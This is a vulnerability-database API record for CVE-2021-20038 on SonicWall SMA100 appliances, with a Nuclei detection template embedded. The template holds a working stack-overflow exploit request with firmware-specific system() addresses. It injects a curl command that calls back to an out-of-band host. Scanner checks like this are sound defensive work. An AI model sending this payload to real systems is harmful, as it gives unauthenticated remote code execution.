{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-20038/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-20038/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-20038/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-20038/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-20038/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-20038"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-20038"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-20038.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-20038\n\ninfo:\n  name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution\n  author: dwisiswant0, jbaines-r7\n  severity: critical\n  description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or crash the affected system.\n  remediation: |\n    Apply the latest security patch or update provided by SonicWall to mitigate this vulnerability.\n  reference:\n    - https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis\n    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-20038\n    - https://github.com/jbaines-r7/badblood\n    - https://github.com/Ostorlab/KEV\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-20038\n    cwe-id: CWE-787,CWE-121\n    epss-score: 0.99912\n    epss-percentile: 0.99966\n    cpe: cpe:2.3:o:sonicwall:sma_200_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: sonicwall\n    product: sma_200_firmware\n  tags: cve2021,cve,overflow,rce,sonicwall,kev,vkev,vuln\nvariables:\n  useragent: '{{rand_base(6)}}'\n\nhttp:\n  - raw:\n      - |\n        GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat(\"A\", 518)}} HTTP/1.1\n        Host: {{Hostname}}\n\n    payloads:\n      prefix_addr:\n        - \"%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf\" # stack's top address\n      system_addr:\n        - \"%08%b7%06%08\" # for 10.2.1.2-24sv\n        - \"%64%b8%06%08\" # for 10.2.1.1-1[79]sv\n    attack: clusterbomb\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: {{useragent}}\"\n# digest: 4a0a0047304502202ec2e746922dd51f1da74eca8ed6cd775253cc27b256e5551e7d3bfa25f2df58022100e10db1123e6117ac5092ddc140ad6a0a97f74b17a54266a1042e05be0efec51d:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-20038"
}